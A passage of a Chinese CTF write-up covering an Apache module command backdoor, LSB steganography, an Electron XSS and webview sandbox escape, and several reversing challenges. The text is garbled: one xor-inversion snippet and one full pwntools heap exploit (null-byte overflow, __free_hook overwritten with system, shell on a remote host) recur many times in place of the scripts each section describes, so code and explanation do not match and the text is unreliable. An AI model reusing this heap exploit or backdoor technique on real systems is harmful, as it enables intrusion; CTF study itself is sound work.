所以尝试进行下载 /usr/lib/apache2/modules/mod_cocktail.so
先用file命令看了一下,发现是64位程序,所以使用IDA Pro直接来进行分析
直接定位到关键函数,可以看到其中使用了popen
函数来执行经过j_remix
函数处理的reffer
变量,所以基本可以判定此处是存在一个命令执行的后门。
j_remix
函数是调用了remix
函数,看起来比较复杂,但应该是某种编码方式
此处使用IDA的findcrypt插件,直接发现了base64表,所以猜测是base64编码
那么接下来可以测一下这个后门,可以看到成功回显
可以看到没有权限写webshell
所以可能稍微麻烦一点,我们得用之前得到的mysql账号密码来查看数据库的内容
for ( i = 0; i <= 6; ++i ) buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!"
8
for ( i = 0; i <= 6; ++i ) buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!"
9
buf = '!' final_buf = "Qf(>qwd!" for _ in range(7): cur = ord(buf[0]) i = 6 - _ for pre in range(256): if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i): buf = chr(pre) + buf continue print buf # e4SyD1C!
0
0x07 Game
How fast can you play?
直接查看源代码得到flag(假的,emmmm
view-source:http://47.111.59.243:1081/
buf = '!' final_buf = "Qf(>qwd!" for _ in range(7): cur = ord(buf[0]) i = 6 - _ for pre in range(256): if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i): buf = chr(pre) + buf continue print buf # e4SyD1C!
1
base32后得到flag
buf = '!' final_buf = "Qf(>qwd!" for _ in range(7): cur = ord(buf[0]) i = 6 - _ for pre in range(256): if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i): buf = chr(pre) + buf continue print buf # e4SyD1C!
2
既然是个游戏就有可能是改的开源代码,所以抱这这种想法就去找了源码,就找到了
http://www.jq22.com/jquery-info21216
然后从里面diff出不同点
buf = '!' final_buf = "Qf(>qwd!" for _ in range(7): cur = ord(buf[0]) i = 6 - _ for pre in range(256): if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i): buf = chr(pre) + buf continue print buf # e4SyD1C!
3
之后下载图片
buf = '!' final_buf = "Qf(>qwd!" for _ in range(7): cur = ord(buf[0]) i = 6 - _ for pre in range(256): if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i): buf = chr(pre) + buf continue print buf # e4SyD1C!
4
分析之后发现是lsb隐写
buf = '!' final_buf = "Qf(>qwd!" for _ in range(7): cur = ord(buf[0]) i = 6 - _ for pre in range(256): if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i): buf = chr(pre) + buf continue print buf # e4SyD1C!
5
使用3des解密即可得到flag
0x08 iCloudMusic-WriteUp
首先下载附件,可以看出是一个nodejs写的App,采用了electron框架。其实就是将网页封装为了一个App。所以还是一道web题。尝试对其逆向解包。
mac环境
首先进入该App包目录。可以在以下目录发现一个app.asar文件,该文件为App核心代码。逆向其即可。在这里采用官方的解包就可以。
buf = '!' final_buf = "Qf(>qwd!" for _ in range(7): cur = ord(buf[0]) i = 6 - _ for pre in range(256): if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i): buf = chr(pre) + buf continue print buf # e4SyD1C!
6
按以上步骤,即可以源码形式跑起来这个应用。
跑起来,大概看一下逻辑,发现存在一个向管理员反馈的接口。此时80%确定是一个xss题目了。然后再分析源码。可以发现250多行这里,有一个代码执行。其中是直接拼接了一些内容。然后使用view的executeJavaScript
方法进行代码执行。
继续分析,可以管理员反馈接口处参数如下:
buf = '!' final_buf = "Qf(>qwd!" for _ in range(7): cur = ord(buf[0]) i = 6 - _ for pre in range(256): if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i): buf = chr(pre) + buf continue print buf # e4SyD1C!
7
根据以上内容, 大胆猜测,小心求证。尝试对header进行注入(可以本地先尝试js_to_run代码注入后是否可以运行,然后再打远程)。
开启本地调试环境,加入调试代码。然后再运行。
buf = '!' final_buf = "Qf(>qwd!" for _ in range(7): cur = ord(buf[0]) i = 6 - _ for pre in range(256): if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i): buf = chr(pre) + buf continue print buf # e4SyD1C!
8
最终music的poc
buf = '!' final_buf = "Qf(>qwd!" for _ in range(7): cur = ord(buf[0]) i = 6 - _ for pre in range(256): if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i): buf = chr(pre) + buf continue print buf # e4SyD1C!
9
此时xss成功get,但是尝试读了很多东西,发现没啥用。询问出题人才知道,这题要getshell。
electron有一个危害,就是可以直接调用系统api,所以可以直接getshell。但是尝试无果。最终发现,原来是view搞的鬼。正如之前所说,是调用view的方法,执行js。
分析可以发现,这个view是一个webview窗口,相当于是一个沙盒。默认是没有办法调用系统api的。
此时需要想办法来做一个沙盒逃逸。根据hint:contextisolation,以及文章,可以了解到。
由于contextisolation关闭,可以导致webview沙盒内与pr.js内变量在同一作用域,可以覆盖pr.js的变量。而且pr.js是不在沙盒运行限制内。所以,只要想办法覆盖掉pr.js的函数调用逻辑,即可绕过webview沙盒。
可以在main.js中,插入以下代码,开启webview沙盒的开发者工具。
#https://github.com/matrix1001/welpwn from PwnContext import * if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] #context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) ctx.binary = './pwn' ctx.remote = ('47.111.59.243', 10001) #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/' ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so' ctx.debug_remote_libc = True def perchase(name_len, name, price): sla('>>>', 1) sla('length', name_len) sa('Name', name) sla('Price', price) def comment(idx, comment, score): sla('>>>', 2) sla('Index', idx) sa('Comment', comment) sla('score', score) def throw(idx): sla('>>>', 3) sla('index', idx) def rename(idx, new_name, some_fuck): sla('>>>', 4) sla('index', idx) sleep(0.1) s(new_name) sa('power', 'yn') sla('serial', 'e4SyD1C!') sa('Pwner', some_fuck) ctx.breakpoints = [0x12f2, 0x1328, 0x118f] rs('remote') # rs() libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so') # dbg('c') perchase(0x10, 'testn', 0) #0 comment(0, 'testcommentn', 0) perchase(0x10, 'testn', 0) #1 throw(0) perchase(0x10, 'testn', 0) #0 comment(0, 'a', 0) throw(0) ru('Comment ') libc_leak = uu32(r(4)) & 0xffffff00 success('libc_leak = {:#x}'.format(libc_leak)) libc_base = libc_leak - 0x1b0700 # clean up throw(1) # perchase(0x8c, 'an', 0) #0 perchase(0x80, 'an', 0) #1 perchase(0x40, 'an', 0) #2 perchase(0xf8, 'an', 0) #3 perchase(0x20, 'topn', 0) #4 throw(2) # null overflow perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2 throw(0) # overlap throw(3) perchase(0x10, 'an', 0) #0 perchase(0x50, 'an', 0) perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0) throw(0) perchase(0x100, '/bin/shn', 0) libc.address = libc_base free_hook = libc.sym['__free_hook'] system = libc.sym['system'] rename(1, p32(0)*5 + p32(free_hook), p32(system)) irt()
0
比赛时,审request源码,动态跟逻辑,尝试了半天。最终还是太菜了。fuzz也尝试了。但是奈何自己考虑不周。
最后看了wp,才发现自己还是经验不足,学到了很多。
自己的payload:
#https://github.com/matrix1001/welpwn from PwnContext import * if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] #context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) ctx.binary = './pwn' ctx.remote = ('47.111.59.243', 10001) #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/' ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so' ctx.debug_remote_libc = True def perchase(name_len, name, price): sla('>>>', 1) sla('length', name_len) sa('Name', name) sla('Price', price) def comment(idx, comment, score): sla('>>>', 2) sla('Index', idx) sa('Comment', comment) sla('score', score) def throw(idx): sla('>>>', 3) sla('index', idx) def rename(idx, new_name, some_fuck): sla('>>>', 4) sla('index', idx) sleep(0.1) s(new_name) sa('power', 'yn') sla('serial', 'e4SyD1C!') sa('Pwner', some_fuck) ctx.breakpoints = [0x12f2, 0x1328, 0x118f] rs('remote') # rs() libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so') # dbg('c') perchase(0x10, 'testn', 0) #0 comment(0, 'testcommentn', 0) perchase(0x10, 'testn', 0) #1 throw(0) perchase(0x10, 'testn', 0) #0 comment(0, 'a', 0) throw(0) ru('Comment ') libc_leak = uu32(r(4)) & 0xffffff00 success('libc_leak = {:#x}'.format(libc_leak)) libc_base = libc_leak - 0x1b0700 # clean up throw(1) # perchase(0x8c, 'an', 0) #0 perchase(0x80, 'an', 0) #1 perchase(0x40, 'an', 0) #2 perchase(0xf8, 'an', 0) #3 perchase(0x20, 'topn', 0) #4 throw(2) # null overflow perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2 throw(0) # overlap throw(3) perchase(0x10, 'an', 0) #0 perchase(0x50, 'an', 0) perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0) throw(0) perchase(0x100, '/bin/shn', 0) libc.address = libc_base free_hook = libc.sym['__free_hook'] system = libc.sym['system'] rename(1, p32(0)*5 + p32(free_hook), p32(system)) irt()
1
虽然仅仅是差了一步保存状态,但是自己确实一直以来从未考虑过这个问题,认为只有实战中才要考虑 ,CTF就是瞎鸡儿日就ok了。看似一步之差,差的缺很多很多。尤其是看完wp。
比如:一定要不破坏环境,考虑周全。一定要不破坏环境,考虑周全。一定要不破坏环境,考虑周全。
最终沙盒逃逸代码如下:
#https://github.com/matrix1001/welpwn from PwnContext import * if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] #context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) ctx.binary = './pwn' ctx.remote = ('47.111.59.243', 10001) #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/' ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so' ctx.debug_remote_libc = True def perchase(name_len, name, price): sla('>>>', 1) sla('length', name_len) sa('Name', name) sla('Price', price) def comment(idx, comment, score): sla('>>>', 2) sla('Index', idx) sa('Comment', comment) sla('score', score) def throw(idx): sla('>>>', 3) sla('index', idx) def rename(idx, new_name, some_fuck): sla('>>>', 4) sla('index', idx) sleep(0.1) s(new_name) sa('power', 'yn') sla('serial', 'e4SyD1C!') sa('Pwner', some_fuck) ctx.breakpoints = [0x12f2, 0x1328, 0x118f] rs('remote') # rs() libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so') # dbg('c') perchase(0x10, 'testn', 0) #0 comment(0, 'testcommentn', 0) perchase(0x10, 'testn', 0) #1 throw(0) perchase(0x10, 'testn', 0) #0 comment(0, 'a', 0) throw(0) ru('Comment ') libc_leak = uu32(r(4)) & 0xffffff00 success('libc_leak = {:#x}'.format(libc_leak)) libc_base = libc_leak - 0x1b0700 # clean up throw(1) # perchase(0x8c, 'an', 0) #0 perchase(0x80, 'an', 0) #1 perchase(0x40, 'an', 0) #2 perchase(0xf8, 'an', 0) #3 perchase(0x20, 'topn', 0) #4 throw(2) # null overflow perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2 throw(0) # overlap throw(3) perchase(0x10, 'an', 0) #0 perchase(0x50, 'an', 0) perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0) throw(0) perchase(0x100, '/bin/shn', 0) libc.address = libc_base free_hook = libc.sym['__free_hook'] system = libc.sym['system'] rename(1, p32(0)*5 + p32(free_hook), p32(system)) irt()
2
参考资料
re
hardCpp
程序核心的加密与验证部分如下图所示,需要注意关于时间的反调试与干扰变量
观察输出信息:func(?)=”01abfc750a0c942167651c40d088531d”?”。
md5解密后为字符‘#’,说明第一个字符必须是‘#’,然后爆破即可,脚本如下。
#https://github.com/matrix1001/welpwn from PwnContext import * if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] #context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) ctx.binary = './pwn' ctx.remote = ('47.111.59.243', 10001) #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/' ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so' ctx.debug_remote_libc = True def perchase(name_len, name, price): sla('>>>', 1) sla('length', name_len) sa('Name', name) sla('Price', price) def comment(idx, comment, score): sla('>>>', 2) sla('Index', idx) sa('Comment', comment) sla('score', score) def throw(idx): sla('>>>', 3) sla('index', idx) def rename(idx, new_name, some_fuck): sla('>>>', 4) sla('index', idx) sleep(0.1) s(new_name) sa('power', 'yn') sla('serial', 'e4SyD1C!') sa('Pwner', some_fuck) ctx.breakpoints = [0x12f2, 0x1328, 0x118f] rs('remote') # rs() libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so') # dbg('c') perchase(0x10, 'testn', 0) #0 comment(0, 'testcommentn', 0) perchase(0x10, 'testn', 0) #1 throw(0) perchase(0x10, 'testn', 0) #0 comment(0, 'a', 0) throw(0) ru('Comment ') libc_leak = uu32(r(4)) & 0xffffff00 success('libc_leak = {:#x}'.format(libc_leak)) libc_base = libc_leak - 0x1b0700 # clean up throw(1) # perchase(0x8c, 'an', 0) #0 perchase(0x80, 'an', 0) #1 perchase(0x40, 'an', 0) #2 perchase(0xf8, 'an', 0) #3 perchase(0x20, 'topn', 0) #4 throw(2) # null overflow perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2 throw(0) # overlap throw(3) perchase(0x10, 'an', 0) #0 perchase(0x50, 'an', 0) perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0) throw(0) perchase(0x100, '/bin/shn', 0) libc.address = libc_base free_hook = libc.sym['__free_hook'] system = libc.sym['system'] rename(1, p32(0)*5 + p32(free_hook), p32(system)) irt()
3
Akira HomeWork
首先程序有几处IsDebuggerPresent()的反调试需要注意,而且程序的输入函数是有bug的,运行就会崩溃。所以要绕过该call,手动在内存中输入数据。
第一关:
简单的字符串异或变换
#https://github.com/matrix1001/welpwn from PwnContext import * if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] #context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) ctx.binary = './pwn' ctx.remote = ('47.111.59.243', 10001) #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/' ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so' ctx.debug_remote_libc = True def perchase(name_len, name, price): sla('>>>', 1) sla('length', name_len) sa('Name', name) sla('Price', price) def comment(idx, comment, score): sla('>>>', 2) sla('Index', idx) sa('Comment', comment) sla('score', score) def throw(idx): sla('>>>', 3) sla('index', idx) def rename(idx, new_name, some_fuck): sla('>>>', 4) sla('index', idx) sleep(0.1) s(new_name) sa('power', 'yn') sla('serial', 'e4SyD1C!') sa('Pwner', some_fuck) ctx.breakpoints = [0x12f2, 0x1328, 0x118f] rs('remote') # rs() libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so') # dbg('c') perchase(0x10, 'testn', 0) #0 comment(0, 'testcommentn', 0) perchase(0x10, 'testn', 0) #1 throw(0) perchase(0x10, 'testn', 0) #0 comment(0, 'a', 0) throw(0) ru('Comment ') libc_leak = uu32(r(4)) & 0xffffff00 success('libc_leak = {:#x}'.format(libc_leak)) libc_base = libc_leak - 0x1b0700 # clean up throw(1) # perchase(0x8c, 'an', 0) #0 perchase(0x80, 'an', 0) #1 perchase(0x40, 'an', 0) #2 perchase(0xf8, 'an', 0) #3 perchase(0x20, 'topn', 0) #4 throw(2) # null overflow perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2 throw(0) # overlap throw(3) perchase(0x10, 'an', 0) #0 perchase(0x50, 'an', 0) perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0) throw(0) perchase(0x100, '/bin/shn', 0) libc.address = libc_base free_hook = libc.sym['__free_hook'] system = libc.sym['system'] rename(1, p32(0)*5 + p32(free_hook), p32(system)) irt()
4
第二关:
会读取一个文件,这里同样绕过call,手动在内存输入数据。最终加密后会与
#https://github.com/matrix1001/welpwn from PwnContext import * if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] #context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) ctx.binary = './pwn' ctx.remote = ('47.111.59.243', 10001) #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/' ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so' ctx.debug_remote_libc = True def perchase(name_len, name, price): sla('>>>', 1) sla('length', name_len) sa('Name', name) sla('Price', price) def comment(idx, comment, score): sla('>>>', 2) sla('Index', idx) sa('Comment', comment) sla('score', score) def throw(idx): sla('>>>', 3) sla('index', idx) def rename(idx, new_name, some_fuck): sla('>>>', 4) sla('index', idx) sleep(0.1) s(new_name) sa('power', 'yn') sla('serial', 'e4SyD1C!') sa('Pwner', some_fuck) ctx.breakpoints = [0x12f2, 0x1328, 0x118f] rs('remote') # rs() libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so') # dbg('c') perchase(0x10, 'testn', 0) #0 comment(0, 'testcommentn', 0) perchase(0x10, 'testn', 0) #1 throw(0) perchase(0x10, 'testn', 0) #0 comment(0, 'a', 0) throw(0) ru('Comment ') libc_leak = uu32(r(4)) & 0xffffff00 success('libc_leak = {:#x}'.format(libc_leak)) libc_base = libc_leak - 0x1b0700 # clean up throw(1) # perchase(0x8c, 'an', 0) #0 perchase(0x80, 'an', 0) #1 perchase(0x40, 'an', 0) #2 perchase(0xf8, 'an', 0) #3 perchase(0x20, 'topn', 0) #4 throw(2) # null overflow perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2 throw(0) # overlap throw(3) perchase(0x10, 'an', 0) #0 perchase(0x50, 'an', 0) perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0) throw(0) perchase(0x100, '/bin/shn', 0) libc.address = libc_base free_hook = libc.sym['__free_hook'] system = libc.sym['system'] rename(1, p32(0)*5 + p32(free_hook), p32(system)) irt()
5
比较,其实就是md5加密,对应明文为“Overwatch”。
第三关:
程序会对内存中的某段数据进行三次解密运算操作
三处解密代码运行在不同时机,作用于同一个内存数据。必须前两关输入的内容正确才能正常触发,其中第二处解密代码不会被执行,导致最终dump出的数据未被完全还原。
并且异或的值也未知,但看出这段数据像PE文件,不难写出解密代码
#https://github.com/matrix1001/welpwn from PwnContext import * if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] #context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) ctx.binary = './pwn' ctx.remote = ('47.111.59.243', 10001) #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/' ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so' ctx.debug_remote_libc = True def perchase(name_len, name, price): sla('>>>', 1) sla('length', name_len) sa('Name', name) sla('Price', price) def comment(idx, comment, score): sla('>>>', 2) sla('Index', idx) sa('Comment', comment) sla('score', score) def throw(idx): sla('>>>', 3) sla('index', idx) def rename(idx, new_name, some_fuck): sla('>>>', 4) sla('index', idx) sleep(0.1) s(new_name) sa('power', 'yn') sla('serial', 'e4SyD1C!') sa('Pwner', some_fuck) ctx.breakpoints = [0x12f2, 0x1328, 0x118f] rs('remote') # rs() libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so') # dbg('c') perchase(0x10, 'testn', 0) #0 comment(0, 'testcommentn', 0) perchase(0x10, 'testn', 0) #1 throw(0) perchase(0x10, 'testn', 0) #0 comment(0, 'a', 0) throw(0) ru('Comment ') libc_leak = uu32(r(4)) & 0xffffff00 success('libc_leak = {:#x}'.format(libc_leak)) libc_base = libc_leak - 0x1b0700 # clean up throw(1) # perchase(0x8c, 'an', 0) #0 perchase(0x80, 'an', 0) #1 perchase(0x40, 'an', 0) #2 perchase(0xf8, 'an', 0) #3 perchase(0x20, 'topn', 0) #4 throw(2) # null overflow perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2 throw(0) # overlap throw(3) perchase(0x10, 'an', 0) #0 perchase(0x50, 'an', 0) perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0) throw(0) perchase(0x100, '/bin/shn', 0) libc.address = libc_base free_hook = libc.sym['__free_hook'] system = libc.sym['system'] rename(1, p32(0)*5 + p32(free_hook), p32(system)) irt()
6
此时得到的数据便是一个DLL文件
该dll会读取共享内存,并进行AES解密运算,密钥为“Ak1i3aS3cre7K3y”。
而共享数据则在原来的exe中
所以AES密文为
#https://github.com/matrix1001/welpwn from PwnContext import * if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] #context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) ctx.binary = './pwn' ctx.remote = ('47.111.59.243', 10001) #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/' ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so' ctx.debug_remote_libc = True def perchase(name_len, name, price): sla('>>>', 1) sla('length', name_len) sa('Name', name) sla('Price', price) def comment(idx, comment, score): sla('>>>', 2) sla('Index', idx) sa('Comment', comment) sla('score', score) def throw(idx): sla('>>>', 3) sla('index', idx) def rename(idx, new_name, some_fuck): sla('>>>', 4) sla('index', idx) sleep(0.1) s(new_name) sa('power', 'yn') sla('serial', 'e4SyD1C!') sa('Pwner', some_fuck) ctx.breakpoints = [0x12f2, 0x1328, 0x118f] rs('remote') # rs() libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so') # dbg('c') perchase(0x10, 'testn', 0) #0 comment(0, 'testcommentn', 0) perchase(0x10, 'testn', 0) #1 throw(0) perchase(0x10, 'testn', 0) #0 comment(0, 'a', 0) throw(0) ru('Comment ') libc_leak = uu32(r(4)) & 0xffffff00 success('libc_leak = {:#x}'.format(libc_leak)) libc_base = libc_leak - 0x1b0700 # clean up throw(1) # perchase(0x8c, 'an', 0) #0 perchase(0x80, 'an', 0) #1 perchase(0x40, 'an', 0) #2 perchase(0xf8, 'an', 0) #3 perchase(0x20, 'topn', 0) #4 throw(2) # null overflow perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2 throw(0) # overlap throw(3) perchase(0x10, 'an', 0) #0 perchase(0x50, 'an', 0) perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0) throw(0) perchase(0x100, '/bin/shn', 0) libc.address = libc_base free_hook = libc.sym['__free_hook'] system = libc.sym['system'] rename(1, p32(0)*5 + p32(free_hook), p32(system)) irt()
7
最后解密即可!
babyunic
程序使用unicorn模拟执行二进制文件func
func为mips指令集大端模式,使用jeb-mips反编译效果如下(demo版本只能看,不能复制,气不气?打完比赛之后第一件事就是把jeb破掉。。。)
func调用完成将结果与内存区域的数据进行比较,相等则验证通过
将其翻译成python脚本如下
#https://github.com/matrix1001/welpwn from PwnContext import * if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] #context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '')) uu64 = lambda data :u64(data.ljust(8, '')) ctx.binary = './pwn' ctx.remote = ('47.111.59.243', 10001) #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/' ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so' ctx.debug_remote_libc = True def perchase(name_len, name, price): sla('>>>', 1) sla('length', name_len) sa('Name', name) sla('Price', price) def comment(idx, comment, score): sla('>>>', 2) sla('Index', idx) sa('Comment', comment) sla('score', score) def throw(idx): sla('>>>', 3) sla('index', idx) def rename(idx, new_name, some_fuck): sla('>>>', 4) sla('index', idx) sleep(0.1) s(new_name) sa('power', 'yn') sla('serial', 'e4SyD1C!') sa('Pwner', some_fuck) ctx.breakpoints = [0x12f2, 0x1328, 0x118f] 